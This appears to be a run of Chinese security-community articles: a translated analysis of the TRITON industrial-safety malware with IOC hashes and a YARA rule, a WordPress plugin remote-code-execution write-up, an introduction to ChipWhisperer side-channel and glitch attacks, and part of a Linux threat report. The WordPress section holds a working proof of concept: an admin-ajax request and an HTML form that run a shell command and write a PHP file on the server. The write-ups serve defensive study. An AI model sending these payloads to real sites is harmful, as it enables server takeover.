一旦进入SIS网络后，攻击者开始使用事先生成的TRITON攻击框架，通过TriStation协议与SIS控制器进行交互。攻击者本来可以发出挂起命令关闭某个生产流程，也可以向SIS控制器中上传漏洞代码导致SIS控制器故障，然而，他们选择在一段时间内进行多次尝试，意图是在目标环境中开发并使用SIS控制器的功能控制逻辑。虽然攻击脚本中某些检查条件没有通过，最终导致攻击者无法顺利完成攻击意图，但他们仍在坚持不懈地努力尝试这一过程。这表明攻击者希望造成某些特定后果，而不单单是关闭某个生产流程那么简单。
值得注意的是，我们曾多次在攻击活动中观察到攻击者曾长期入侵过ICS，但他们并没有破坏或禁用运营流程。比如，俄罗斯攻击者（如沙虫组织）对西方国家ICS的入侵行为曾持续多年，但期间他们并没有中断生产流程。
## 七、恶意软件功能摘要
TRITON攻击工具包含许多功能，其中包括读写程序、读写单个函数以及查询SIS控制器状态功能。然而，`trilog.exe`样本中只用到了其中一些功能（攻击者并没有充分使用TRITON的所有侦察功能）。
TRITON恶意软件可以与Triconex SIS控制器通信（比如，可以发送诸如 _halt_
之类的特定命令或者读取内存数据），使用攻击者定义的载荷远程编程控制器逻辑。在Mandiant分析的TRITON样本中，攻击者将一个额外程序添加到Triconex控制器的执行表中。该样本没有修改合法的原始程序，希望控制器能继续保持正常工作状态，不出现故障或异常现象。如果控制器出现故障，TRITON会尝试让控制器返回运行状态。如果控制器没有在预期时间内回到运行状态，该样本会使用无效数据覆盖恶意程序，掩盖其攻击行为。
## 八、建议
如果资产方想防御此类攻击事件，他们应该考虑部署如下控制机制：
1、如果技术上可以实现，应该将安全系统网络与生产流程控制及信息系统网络相互隔离。能够编程SIS控制器的工程工作站不应该与任何DCS流程控制或信息系统处于同一个网络中。
2、有些硬件设施可以通过物理控制功能，实现对控制器的安全编程，资产方应该部署这类硬件设施。这些硬件设施通常采用由实体钥匙控制的功能切换模式。对于Triconex控制器而言，只有在事先规划的编程任务期间，才能将钥匙拧到`PROGRAM`模式。
3、切换为关键状态时，需要采用切实有效的状态切换管理机制，同时要定期审核当前的关键状态。
4、任何程序如果需要依赖SIS提供的数据，请务必使用单向网关，不要使用双向网关。
5、如果服务器或工作站终端可以通过TCP/IP协议访问SIS系统，请使用严格的访问控制及应用程序白名单机制。
6、监控ICS网络流量，特别注意不在预期内的通信流量以及其他异常行为。
图3. Triconex钥匙开关（[原图](https://images-na.ssl-images-amazon.com/images/I/41jr93jKzML._SX466_.jpg)
## 九、附录：技术分析
图4. TRITON架构及攻击场景
攻击者将TRITON部署在运行着微软Windows操作系统的SIS工程工作站上，并将该恶意软件名字伪装成合法的Triconex
Trilog应用程序。合法的Trilog程序用来检查日志，属于TriStation应用程序集中的一个程序。这款恶意软件原来为python脚本，通过Py2EXE编译成二进制程序，需要依赖包含标准开源Python库的一个zip文件，也需要依赖攻击者开发的Triconex攻击框架，以便与Triconex控制器交互。除了可执行文件之外，攻击者还使用了两个二进制文件，分别为`inject.bin`（恶意函数代码）以及`imain.bin`（恶意控制逻辑），这两个文件为控制器的载荷文件。这些文件名被硬编码在经过Py2EXE编译的python脚本中。
`Trilog.exe`可以接受来自命令行的1个参数，该参数为目标Triconex设备的单个IP地址。恶意软件并没有利用TRITON底层库支持的Triconex设备发现功能，相反，为了探测环境中的所有目标控制器，恶意软件需要多次调用`trilog.exe`，每次调用针对一个IP地址。`trilog.exe`执行后会检查控制器的状态，然后使用TriStation协议读取公开的配置信息。如果控制器处于运行状态，`trilog.exe`会编码两个载荷文件（即`inject.bin`以及`imain.bin`），将这两个载荷文件传递给通信库，以便将其添加到控制器的程序内存及执行表中。
载荷文件插入Triconex控制器的内存后，攻击脚本开始执行倒计时流程，定期检查控制器的状态。如果检测到错误状态，通信库中的
_SafeAppendProgramMod_
方法会尝试重置控制器，使用TriStation协议命令将控制器恢复为上一个状态。如果恢复失败，`trilog.exe`会尝试将一个小型的“傀儡”程序写入内存中。我们认为这是一种反取证技术，目的是用来隐藏Triconex控制器上攻击者使用过的攻击代码。
Mandiant与资产方通力合作，在实验室环境中使用真实有效的Triconex控制器来运行`trilog.exe`，随后发现了恶意软件中存在一个条件检查过程，检查过程会阻止载荷文件持续驻留在目标环境中。经Mandiant确认，如果修改攻击脚本，移除这个检查过程，那么载荷文件就会驻留在控制器内存中，并且控制器可以继续保持运行状态。
TRITON实现了TriStation协议，该协议也是合法TriStation应用程序所使用的协议，用来对控制器进行配置。
攻击者创建了名为 _TsHi的_
一个高级接口，通过该接口，攻击者可以使用TRITON框架构建攻击脚本。该接口提供了侦察及攻击功能。这些功能可以接受用户输入的二进制数据，经过代码签名检查及校验和检查后，再将这些数据传递给底层库进一步序列化处理，以便在网络上传输。
攻击者还构建了名为 _TsBase_ 的一个模块，该模块包含可以被 _TsHi_
调用的一些函数，可以将攻击者的攻击意图转化为正确的TriStation协议功能代码。对于某些特定功能而言，该模块还可以将数据打包、填充，以转换成正确的格式。
此外，攻击者还使用了另一个模块，名为 _TsLow_ ，该模块实现了TriStation
UDP总线（wire）协议。`TsBase`库主要依赖的是`ts_exec`方法。`ts_exec`方法接受功能代码以及预期的响应代码，序列化命令载荷后使用UDP进行传输。收到控制器返回的响应数据后，该方法会检查响应数据是否与预期值相匹配，如果匹配则返回相应的数据结构，否则返回一个
_False_ 对象。
_TsLow_
还提供了一个connect方法，用来检查与目标控制器的通连关系。如果调用该方法时没有使用任何参数作为目标地址，则该方法会运行detect_ip这个函数来发现设备。该方法的工作原理是使用IP广播，实现TriStation协议上的“ping”消息，以查找经过当前路由器可达的控制器。
## 十、IOC
**文件名** | **哈希值**
---|---
trilog.exe | MD5:
6c39c3f4a08d3d78f2eb973a94bd7718SHA-256:e8542c07b2af63ee7e72ce5d97d91036c5da56e2b091aa2afe737b224305d230
imain.bin | MD5:
437f135ba179959a580412e564d3107fSHA-256:08c34c6ac9186b61d9f29a77ef5e618067e0bc9fe85cab1ad25dc6049c376949
inject.bin | MD5:
0544d425c7555dc4e9d76b571f31f500SHA-256:5fc4b0076eac7aa7815302b0c3158076e3569086c4c6aa2f71cd258238440d14
library.zip | MD5:
0face841f7b2953e7c29c064d6886523SHA-256:bef59b9a3e00a14956e0cd4a1f3e7524448cbe5d3cc1295d95a15b83a3579c59
TS_cnames.pyc | MD5:
e98f4f3505f05bf90e17554fbc97bba9SHA-256:2c1d3d0a9c6f76726994b88589219cb8d9c39dd9924bc8d2d02bf41d955fe326
TsBase.pyc | MD5:
288166952f934146be172f6353e9a1f5SHA-256:1a2ab4df156ccd685f795baee7df49f8e701f271d3e5676b507112e30ce03c42
TsHi.pyc | MD5:
27c69aa39024d21ea109cc9c9d944a04SHA-256:758598370c3b84c6fbb452e3d7119f700f970ed566171e879d3cb41102154272
TsLow.pyc | MD5:
f6b3a73c8c87506acda430671360ce15SHA-256:5c776a33568f4c16fee7140c249c0d2b1e0798a96c7a01bfd2d5684e58c9bb32
sh.pyc | MD5:
8b675db417cc8b23f4c43f3de5c83438SHA-256:c96ed56bf7ee85a4398cc43a98b4db86d3da311c619f17c8540ae424ca6546e1
## 十一、检测规则
rule TRITON_ICS_FRAMEWORK
{
meta:
author = "nicholas.carr @itsreallynick"
md5 = "0face841f7b2953e7c29c064d6886523"
description = "TRITON framework recovered during Mandiant ICS incident response"
strings:
$python_compiled = ".pyc" nocase ascii wide
$python_module_01 = "__module__" nocase ascii wide
$python_module_02 = "<module>" nocase ascii wide
$python_script_01 = "import Ts" nocase ascii wide
$python_script_02 = "def ts_" nocase ascii wide
$py_cnames_01 = "TS_cnames.py" nocase ascii wide
$py_cnames_02 = "TRICON" nocase ascii wide
$py_cnames_03 = "TriStation " nocase ascii wide
$py_cnames_04 = " chassis " nocase ascii wide
$py_tslibs_01 = "GetCpStatus" nocase ascii wide
$py_tslibs_02 = "ts_" ascii wide
$py_tslibs_03 = " sequence" nocase ascii wide
$py_tslibs_04 = /import Ts(Hi|Low|Base)[^:alpha:]/ nocase ascii wide
$py_tslibs_05 = /modules?version/ nocase ascii wide
$py_tslibs_06 = "bad " nocase ascii wide
$py_tslibs_07 = "prog_cnt" nocase ascii wide
$py_tsbase_01 = "TsBase.py" nocase ascii wide
$py_tsbase_02 = ".TsBase(" nocase ascii wide
$py_tshi_01 = "TsHi.py" nocase ascii wide
$py_tshi_02 = "keystate" nocase ascii wide
$py_tshi_03 = "GetProjectInfo" nocase ascii wide
$py_tshi_04 = "GetProgramTable" nocase ascii wide
$py_tshi_05 = "SafeAppendProgramMod" nocase ascii wide
$py_tshi_06 = ".TsHi(" ascii nocase wide
$py_tslow_01 = "TsLow.py" nocase ascii wide
$py_tslow_02 = "print_last_error" ascii nocase wide
$py_tslow_03 = ".TsLow(" ascii nocase wide
$py_tslow_04 = "tcm_" ascii wide
$py_tslow_05 = " TCM found" nocase ascii wide
$py_crc_01 = "crc.pyc" nocase ascii wide
$py_crc_02 = "CRC16_MODBUS" ascii wide
$py_crc_03 = "Kotov Alaxander" nocase ascii wide
$py_crc_04 = "CRC_CCITT_XMODEM" ascii wide
$py_crc_05 = "crc16ret" ascii wide
$py_crc_06 = "CRC16_CCITT_x1D0F" ascii wide
$py_crc_07 = /CRC16_CCITT[^_]/ ascii wide
$py_sh_01 = "sh.pyc" nocase ascii wide
$py_keyword_01 = " FAILURE" ascii wide
$py_keyword_02 = "symbol table" nocase ascii wide
$py_TRIDENT_01 = "inject.bin" ascii nocase wide
$py_TRIDENT_02 = "imain.bin" ascii nocase wide
condition:
2 of ($python_*) and 7 of ($py_*) and filesize < 3MB
} | 社区文章 |
# WordPress组合插件远程代码执行漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 蔡思阳
译文仅供参考，具体内容表达以及含义原文为准。
作者：[蔡思阳@360天眼实验室](http://bobao.360.cn/member/contribute?uid=2794533901)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 0x00 漏洞概述
在前段时间，WordPress修复了两个插件的漏洞–Shortcodes Ultimate和formidable forms，其中Shortcodes
Ultimate的下载量在70W+，而formidable forms的下载量在20W+,影响的范围比较广泛。
这个漏洞主要是由formidable
forms引起的，该插件无需任何权限便可预览表单，然而对上传的html代码没有做任何检验，所以导致了包括xss和shortcode执行等在内的一系列问题。而Shortcodes
Ultimate可以自定义shortcode，两者结合就可以造成严重的远程代码执行漏洞，而且无需任何权限。
## 0x01 漏洞分析
利用条件：
插件: **Shortcodes Ultimate <=5.0.0**
插件: **formidable forms <= 2.0.5.1**
我们的分析思路从文后附录的POC开始。
POST /wp-admin/admin-ajax.php HTTP/1.1
action=frm_forms_preview&form={‘asdf-asdf’}&before_html=[su_meta key=1 post_id=1 default= [su_meta key=1 post_id=1 default='echo 1 > wp_rce.txt' filter='system']&custom_style=1
action=frm_forms_preview
tips：
WordPress插件的执行流程：
申明一个add_action，将tag绑定一个函数，类似于route
然后通过do_action或者ajax来调用
所以从action=frm_forms_preview来入手，搜索frm_forms_preview
在FrmHooksController.php中的load_ajax_hooks函数
add_action( 'wp_ajax_frm_forms_preview', 'FrmFormsController::preview' );
add_action( 'wp_ajax_nopriv_frm_forms_preview', 'FrmFormsController::preview' );
可以看出，frm_forms_preview动作绑定在preview函数上
public static function preview() {
do_action( 'frm_wp' );
global $frm_vars;
$frm_vars['preview'] = true;
if ( ! defined( 'ABSPATH' ) && ! defined( 'XMLRPC_REQUEST' ) ) {
global $wp;
$root = dirname( dirname( dirname( dirname( __FILE__ ) ) ) );
include_once( $root . '/wp-config.php' );
$wp->init();
$wp->register_globals();
}
header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
$key = FrmAppHelper::simple_get( 'form', 'sanitize_title' );
if ( $key == '' ) {
$key = FrmAppHelper::get_post_param( 'form', '', 'sanitize_title' );
}
$form = FrmForm::getAll( array( 'form_key' => $key ), '', 1 );
if ( empty( $form ) ) {
$form = FrmForm::getAll( array(), '', 1 );
}
require( FrmAppHelper::plugin_path() . '/classes/views/frm-entries/direct.php' );
wp_die();
}
preview调用direct.php，而direct.php调用show_form函数来展示页面
public static function show_form( $id = '', $key = '', $title = false, $description = false, $atts = array() ) {
…
…
if ( self::is_viewable_draft_form( $form ) ) {
// don't show a draft form on a page
$form = __( 'Please select a valid form', 'formidable' );
} else if ( self::user_should_login( $form ) ) {
$form = do_shortcode( $frm_settings->login_msg );
} else if ( self::user_has_permission_to_view( $form ) ) {
$form = do_shortcode( $frm_settings->login_msg );
} else {
$form = self::get_form( $form, $title, $description, $atts );
/**
* Use this shortcode to check for external shortcodes that may span
* across multiple fields in the customizable HTML
* @since 2.0.8
*/
$form = apply_filters( 'frm_filter_final_form', $form );
}
return $form;
}
此时的frm_settings
可以看到login_msg，我们是不需要登录的
所以show_form走的是else流程
$form = self::get_form( $form, $title, $description, $atts );
/**
* Use this shortcode to check for external shortcodes that may span
* across multiple fields in the customizable HTML
* @since 2.0.8
*/
$form = apply_filters( 'frm_filter_final_form', $form );
调用get_form函数
public static function get_form( $form, $title, $description, $atts = array() ) {
ob_start();
self::get_form_contents( $form, $title, $description, $atts );
self::enqueue_scripts( FrmForm::get_params( $form ) );
$contents = ob_get_contents();
ob_end_clean();
self::maybe_minimize_form( $atts, $contents );
return $contents;
}
调用get_from_contents
而get_form_contents
if ( $params['action'] != 'create' || $params['posted_form_id'] != $form->id || ! $_POST ) {
do_action('frm_display_form_action', $params, $fields, $form, $title, $description);
if ( apply_filters('frm_continue_to_new', true, $form->id, $params['action']) ) {
$values = FrmEntriesHelper::setup_new_vars($fields, $form);
include( FrmAppHelper::plugin_path() . '/classes/views/frm-entries/new.php' );
}
return;
}
调用了setup_new_vars函数，
setup_new_vars函数将post请求的内容取出来存放在value数组中
然后调用了new.php,而new.php调用form.php，
form.php调用replace_shortcodes
<?php echo FrmFormsHelper::replace_shortcodes( $values['before_html'], $form, $title, $description ); ?>
并将before_html的值传入
replace_shortcode函数对$html做一系列过滤，并最终调用
if ( apply_filters( 'frm_do_html_shortcodes', true ) ) {
$html = do_shortcode( $html );
}
此时的$html就是before_html的值
do_shortcode函数执行shortcode
我们看看do_shortcode函数
* @since 2.5.0
*
* @global array $shortcode_tags List of shortcode tags and their callback hooks.
*
* @param string $content Content to search for shortcodes.
* @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped.
* @return string Content with shortcodes filtered out.
*/
function do_shortcode( $content, $ignore_html = false ) {
global $shortcode_tags;
if ( false === strpos( $content, '[' ) ) {
return $content;
}
if (empty($shortcode_tags) || !is_array($shortcode_tags))
return $content;
...
注释上写的很清楚，如果传入的$shortcode_tags存在于全局变量中的话，就会调用相应的hook函数，如果不存在就原样输出。
此时再来看一下我们的payload，
before_html=[su_meta key=1 post_id=1 default=''echo 1 > wp_rce.txt' filter='system']
$shortcode_tags=su_meta
而Shortcodes Ultimate插件的load.php将su_meta注册了，所以就会调用su_meta对应的函数
在Shortcodes
Ultimate插件的inc\core\load.php中会将inc\core\data.php中shortcodes数组里里存在的标签遍历一遍，然后通过add_shortcode注册
public static function register() {
// Prepare compatibility mode prefix
$prefix = su_cmpt(); // $prefix=su_
// Loop through shortcodes
foreach ( ( array ) Su_Data::shortcodes() as $id => $data ) {
if ( isset( $data['function'] ) && is_callable( $data['function'] ) ) $func = $data['function'];
elseif ( is_callable( array( 'Su_Shortcodes', $id ) ) ) $func = array( 'Su_Shortcodes', $id );
elseif ( is_callable( array( 'Su_Shortcodes', 'su_' . $id ) ) ) $func = array( 'Su_Shortcodes', 'su_' . $id );
else continue;
// Register shortcode
add_shortcode( $prefix . $id, $func );
}
// Register [media] manually // 3.x
add_shortcode( $prefix . 'media', array( 'Su_Shortcodes', 'media' ) );
}
}
而shortcodes数组存在meta标签，所以走的是
else if ( is_callable( array( 'Su_Shortcodes', $id ) ) ) $func = array( 'Su_Shortcodes', $id );
这个条件
而inc\core\shortcodes.php中存在meta函数，
public static function meta( $atts = null, $content = null ) {
$atts = shortcode_atts( array(
'key' => '',
'default' => '',
'before' => '',
'after' => '',
'post_id' => '',
'filter' => ''
), $atts, 'meta' );
// Define current post ID
if ( !$atts['post_id'] ) $atts['post_id'] = get_the_ID();
// Check post ID
if ( !is_numeric( $atts['post_id'] ) || $atts['post_id'] < 1 ) return sprintf( '<p class="su-error">Meta: %s</p>', __( 'post ID is incorrect', 'shortcodes-ultimate' ) );
// Check key name
if ( !$atts['key'] ) return sprintf( '<p class="su-error">Meta: %s</p>', __( 'please specify meta key name', 'shortcodes-ultimate' ) );
// Get the meta
$meta = get_post_meta( $atts['post_id'], $atts['key'], true );
// Set default value if meta is empty
if ( !$meta ) $meta = $atts['default'];
// Apply cutom filter
if ( $atts['filter'] && function_exists( $atts['filter'] ) ) $meta = call_user_func( $atts['filter'], $meta );
// Return result
return ( $meta ) ? $atts['before'] . $meta . $atts['after'] : '';
而meta函数中最重要的一句就是$meta = call_user_func( $atts[‘filter’], $meta );
会将filter的值作为处理函数，处理meta的内容。而meta来自于default的值
而我们传入的是[su_meta key=1 post_id=1 default=’echo 1 > wp_rce.txt’ filter=’system’]
就利用system函数执行了我们的短代码
## 0x02 漏洞验证
Poc：
<html>
<body>
<h2>payload:</h2>[su_meta key=1 post_id=1 default='echo <?php phpinfo();?> > ../wp-content/wp_rce.php' filter='system']
<form action="http://127.0.0.1/wordpress/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value='frm_forms_preview' />
<input type="hidden" name="form" value="{'contact-form'}" />
<input type="hidden" name="before_html" value="[su_meta key=1 post_id=1 default='echo ^<?php phpinfo();?^> > ../wp-content/wp_rce.php' filter='system']" />
<input type="hidden" name="custom_style" value="1" />
<input type="submit" value="Submit" />
</form>
</body>
将上述poc保存为html之后，点击submit，访问http://127.0.0.1/wordpress/wp-content/wp_rce.php
同样的原理，如果将payload改为
<script>alert(‘XSS’)</script>
就会造成xss
## 0x03 补丁分析
formidable forms在新版本中修改了setup_new_vars函数
存在漏洞版本：
foreach ( $form->options as $opt => $value ) {
$values[ $opt ] = FrmAppHelper::get_post_param( $opt, $value );
unset($opt, $value);}
$values = array_merge( $values, $form->options );
可以看出，跳过了get_post_param函数，并没有取出post中的值修复版本：
Shortcodes Ultimate在新版本中添加了对filter函数的检验
存在漏洞版本：
'desc' => __( 'You can apply custom filter to the retrieved value. Enter here function name. Your function must accept one argument and return modified value. Example function: ', 'shortcodes-ultimate' ) . "<br /><pre><code style='display:block;padding:5px'>function my_custom_filter( \$value ) {\n\treturn 'Value is: ' . \$value;\n}</code></pre>"
修复版本：
'desc' => __( 'You can apply custom filter to the retrieved value. Enter here function name. Your function must accept one argument and return modified value. Name of your function must include word <b>filter</b>. Example function: ', 'shortcodes-ultimate' ) . "<br /><pre><code style='display:block;padding:5px'>function my_custom_filter( \$value ) {\n\treturn 'Value is: ' . \$value;\n}</code></pre>"
可以看出filter函数必须包含filter字符串
## 0x04 防护建议
如果使用到了这两款插件，请尽快升级：
**formidable forms升级至2.05.07**
**Shortcodes Ultimate升级至5.0.1**
## 0x05 参考文章
<https://www.pluginvulnerabilities.com/2017/11/09/vulnerability-details-shortcode-execution-vulnerability-in-formidable-forms/>
任何问题可以联系我[email protected] | 社区文章 |
作者：Yaseng&独抒@伏宸安全实验室
公众号：[伏宸安全实验室](https://mp.weixin.qq.com/s/Ri0RaSRYogvMi0KdDerHrQ "伏宸安全实验室")
#### 前言
传统基于穷举或纯数学理论层面的分析，对于现代高强度加密算法而言，算力有限导致无法实现穷举，算法的复杂性也无法通过数学工具直接破解，根据近代物理学发展出来的理论，电子设备依赖外部电源提供动力，设备在运行过程中会消耗能量，同时会跟外界环境存在声、光、电、磁等物理交互现象产生，设备本身也可能存在设计薄弱点，通过这些物理泄露或人为进行物理层的修改获取数据，然后运用各类数学工具和模型实现破解。
然而在做物理攻击时，往往需要昂贵的设备，并要具备数学、物理学、微电子学、半导体学、密码学、化学等等多学科的交叉理论知识，因此其技术门槛和攻击成本都很高，目前在刚刚结束的
Blackhat 2018 上，展台上展示了多款 ChipWhisperer 硬件工具,作为亲民型的物理攻击平台，获得了一致的好评。
(图片来源 Newae 官方)
ChipWhisperer Lite 版官方商店售价 $250 ，不管是实验学习，还是实战入门，都是极具性价比的，本文主要介绍主流的一些物理攻击手段，以及对
ChipWhisperer 的初步认知，后续将会据此从理论、原理、实验以及实战等角度详细介绍该平台。
#### 物理攻击
真正的安全研究不能凌驾于真实的攻防场景，对于物联网安全而言，其核心目标是真实物理世界中的各种硬件设备，真实的攻击场景往往发生在直接针对硬件设备的攻击，因此物联网安全的基石在于物理层的安全，而针对物联网物理攻击手段，是当前物联网面临的最大安全风险之一。
物理攻击就是直接攻击设备本身和运行过程中的物理泄露，根据攻击过程和手段可以分为非侵入攻击、半侵入式攻击和侵入式攻击。ChipWhisperer
平台主要用做非侵入式攻击，包括侧信道和故障注入攻击等。
传统密码分析学认为一个密码算法在数学上安全就绝对安全,这一思想被Kelsey等学者在1998年提出的侧信道攻击(Side-channel
Attacks,SCA)理论所打破。侧信道攻击与传统密码分析不同,侧信道攻击利用功耗、电磁辐射等方式所泄露的能量信息与内部运算操作数之间的相关性,通过对所泄露的信息与已知输入或输出数据之间的关系作理论分析,选择合适的攻击方案,获得与安全算法有关的关键信息。目前侧信道理论发展越发迅速，从最初的简单功耗分析（SPA），到多阶功耗分析（CPA），碰撞攻击、模板攻击、电磁功耗分析以及基于人工智能和机器学习的侧信道分析方式，侧信道攻击方式也推陈出新，从传统的直接能量采集发展到非接触式采集、远距离采集、行为侧信道等等。
利用麦克风进行声波侧信道
利用软件无线电实施非接触电磁侧信道
故障攻击就是在设备执行加密过程中，引入一些外部因素使得加密的一些运算操作出现错误，从而泄露出跟密钥相关的信息的一种攻击。一些基本的假设：设定的攻击目标是中间状态值；
故障注入引起的中间状态值的变化；攻击者可以使用一些特定算法（故障分析）来从错误/正确密文对中获得密钥。
使用故障的不同场景： 利用故障来绕过一些安全机制（口令检测，文件访问权限，安全启动链）；产生错误的密文或者签名（故障分析）；组合攻击（故障+旁路）。
非侵入式电磁注入
半侵入式光子故障注入
侵入式故障注入
#### ChipWhisperer
##### 简介
本系列使用的版本是 CW1173 ChipWhisperer-Lite ，搭载 SAKURA-G 实验板，配合一块 CW303 XMEGA 作为目标测试板。
CW1173 是基于FPGA实现的硬件，软件端基于 python，具有丰富的扩展接口和官方提供的各类 API 供开发调用，硬件通过自带的 OpenADC
模块可以实现波形的捕获，不需要额外的示波器。
板上自带有波形采集端口（MeaSure）和毛刺输出（Glitch）端口，并自带 MOSFET 管进行功率放大。
并提供多种接口触发设置，基本满足一般的攻击需求。
##### 能量攻击
芯片物理结构为许多CMOS电路组合而成，CMOS 电路根据输入的不同电信号动态改变输出状态，实现0或1的表示，完成相应的运算，而不同的运算指令就是通过
CMOS 组合电路完成的，但 CMOS电路根据不同的输入和输出，其消耗的能量是不同的，例如汇编指令 ADD 和 MOV
，消耗的能量是不同的，同样的指令操作数不同，消耗的能量也是不同的，例如 MOV 1 和 MOV
2其能量消耗就是不同的，能量攻击就是利用芯片在执行不同的指令时，消耗能量不同的原理，实现秘钥破解。
常用的能量攻击方式就是在芯片的电源输入端（VCC）或接地端（GND）串联一个1到50欧姆的电阻，然后用示波器不断采集电阻两端的电压变化，形成波形图，根据欧姆定律，电压的变化等同于功耗的变化，因此在波形图中可以观察到芯片在执行不同加密运算时的功耗变化。
CW1173 提供能量波形采集端口，通过连接 板上的 MeaSure SMA 接口，就可以对能量波形进行采集，在利用chipwhisperer
开源软件就可以进行分析，可以实现简单能量分析、CPA攻击、模板攻击等。
通过 cpa 攻击 AES 加密算法获取密钥
##### 毛刺攻击
ChipWhisperer 提供对时钟、电压毛刺的自动化攻击功能，类似于 web 渗透工具 Burpsuite ，可以对毛刺的宽度、偏移、位置等等参数进行
fuzz ，通过连接板上的 Glitch SMA 接口，就可以输出毛刺，然后通过串口、web 等获取结果，判断毛刺是否注入成功。
时钟毛刺攻击是针对微控制器需要外部时钟晶振提供时钟信号，通过在原本的时钟信号上造成一个干扰，通过多路时钟信号的叠加产生时钟毛刺，也可以通过自定义的时钟选择器产生，CW1173
提供高达 300MHZ 的时钟周期控制，时钟是芯片执行指令的动力来源，通过时钟毛刺可以跳过某些关键逻辑判断，或输出错误数据。
通过 CW1173 时钟毛刺攻击跳过密码验证
电压毛刺是对芯片电源进行干扰造成故障，在一个很短的时间内，使电压迅速下降，造成芯片瞬间掉电，然后迅速恢复正常，确保芯片继续正常工作，可以实现如对加密算法中某些轮运算过程的干扰，造成错误输出，或跳过某些设备中的关键逻辑判断等等
。
对嵌入式设备的电压毛刺攻击
#### 更多
随着物理攻击理论和技术的进步，针对硬件芯片的防护手段也随之提高，芯片物理层的攻防一直在不断角力
，现实环境中，能量采集会受到各种噪声因素的干扰，硬件厂商也会主动实施一些针对物理攻击的防护，单纯依靠 ChipWhisperer
平台难以实现真实场景的攻击，因此还需要结合电磁、声波、红外、光子等多重信息，以及对硬件进行修改，多重故障注入，引入智能分析模型等等组合手段，今后会进一步介绍一些基于
ChipWhisperer 的高级攻击方式和实战分析方法。
#### 参考
1. ChipWhisperer 官网 wiki <https://wiki.newae.com/Main_Page>
2. 开源项目 <https://github.com/newaetech/chipwhisperer>
3. ChipSHOUTER 电磁故障平台 <https://github.com/newaetech/ChipSHOUTER>
4. USB 附加模块 <https://github.com/scanlime/facewhisperer>
5. 深度学习侧信道攻击 <https://www.riscure.com/publication/lowering-bar-deep-learning-side-channel-analysis/>
6. 使用毛刺攻击提取汽车 ECU 固件 <https://www.riscure.com/publication/fault-injection-automotive-diagnostic-protocols/>
7. 《物联网安全百科》 <https://iot-security.wiki>
* * * | 社区文章 |
# Linux系统在互联网中面临的安全威胁分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
Linux系统作为主流5大操作系统之一，目前在服务器市场占有率超过80%。随着云计算与IoT的发展，Linux作为物联网领域的主流底层操作系统，所涉及的应用场景将呈几何级增加。
安恒信息安全数据大脑团队通过长期监控全球互联网的各类服务端口发现：全球已有超过5000万的Linux主机暴露SSH端口，其中美国与中国的暴露数量最多，而这些服务器将会面临严峻的网络攻击，如端口扫描、口令爆破、漏洞扫描等。据观测，全网每天有大量的扫描流量对系统的SSH或数据库类端口进行探测，一旦探测成功则进行爆破，获取主机权限。被攻陷的Linux主机通常被用于挖矿和DDoS攻击，以及通过内网蠕虫扩散捕获更多“肉鸡”。这一现象将严重影响了网络空间安全，建议在后续的网络安全感知与治理过程中，加强对此类系统的安全规范化管控，对僵尸主机进行及时清理。
本文要点：
1. 全网超过5000万Linux系统主机暴露SSH端口，遭受严峻的端口扫描与爆破威胁；
2. 系统远程管理类端口与数据库类端口为黑客频繁攻击目标；
3. 弱口令和专有设备默认口令（如cisco、Pi、db2as）等仍是黑客攻击首选 ；
4. 针对Linux系统的攻击源主要集中在欧州、中美韩等国，攻击系统多为Linux主机；
5. Linux主机失陷后，多被应用于挖矿、发起DDoS攻击以及内网蠕虫扩散捕获肉鸡，最常见的木马有盖茨木马、树莓派等。
## Linux系统面临的严峻安全风险与影响
### 全网暴露的Linux系统服务器数量巨大
一直以来，Linux操作系统有着广泛的应用领域：
1. 作为企业级服务器应用
其可以作为企业架构www服务器、数据库服务器、负载均衡服务器、DNS服务器。在使企业降低运营成本的同时，还能保证系统的高稳定性和高可靠性；
2. 作为嵌入式Linux系统应用系统
从因特网设备（路由器、交换机、防火墙、负载均衡器）到专用的控制系统（自动售货机、手机、PDA、各种家用电器），Linux系统都有广阔的应用市场。近几年，Linux操作系统已成功跻身于主流嵌入式开发平台，渗透到电信、金融、教育等各个行业。各大硬件厂商、大型/超大型互联网企业都在使用Linux系统作为其服务器端的程序运行平台。
今年8月，安恒安全数据大脑团队使用Sumap平台，在互联网中探测到大量开放了SSH端口的设备，探测发现全球共有51,689,792个端口暴露，其中中国有11,964,730个。
其SSH端口暴露的地域分布TOP10如下：
图2-1 SSH端口暴露区域分布
图2-2 SSH端口暴露数量分布
排名前三的SSH端口暴露的地域及数量分别是：
美国 14,448,205个；中国11,964,730个；德国2,710,689个。
美国和中国的开放SSH端口数量最多，遥遥领先其他国家，大量开放的SSH端口将Linux系统暴露在互联网上，大大增加系统面临的风险。
### 系统大多遭受高频持续性攻击
安恒安全数据大脑团队分析了大量Linux系统遭受攻击的情况后发现：端口暴露的单个Linux系统，平均遭受超过40,000次/天的网络攻击，黑客大多采取高频持续性攻击方式，攻击频率平均约5次/秒。
跟踪Linux系统被入侵情况发现：某弱口令Linux系统每月有约17,000次被入侵成功，在入侵成功之后通常会进行查看主机信息、关闭防火墙、文件下载等操作行为，进而实现与远端C2主机的回连控制，在后续进行挖矿或DDoS攻击等。
### 主流攻击行为概览
#### 远程控制与数据库端口遭受集中扫描
对Linux系统进行端口扫描是攻击者最常用的一种方式，通过扫描可发现是否存在漏洞或是否开放了某些端口的服务器，并使用漏洞或者爆破的手段攻击服务器。
不同国家对端口扫描的目标会有很大的区别，以下是对不同国家端口扫描的分析情况:
图2-3 不同国家端口扫描分布情况
*说明：2222、2223端口常被用于系统远程管理；3306端口被用于MYSQL；80和443端口为web服务器的常用端口；25端口为SMTP端口。
表2-1 各国各国攻击者扫描端口偏好
总体来讲，入侵的端口集中在远程访问与数据库端口，可见大部分主流黑客的扫描探测倾向简单粗暴。对系统运维人员而言，日常严格的端口管理就能规避风险，但根据端口暴露数据显示，某些运维人员在安全管理层面意识淡漠，给黑客留下可乘之机。
#### 弱口令与专有设备默认口令爆破问题严峻
暴力破解是最常用且操作简单的方式，安恒安全数据大脑团队监测到对Linux系统常用的暴力破解所涉及的用户名和密码情况分布如下：
图2-4 常见爆破用户名情况
从用户名上看：root、admin、shell、enable、default这类经典弱口令，仍然占据主流。
图2-5 常见爆破密码情况
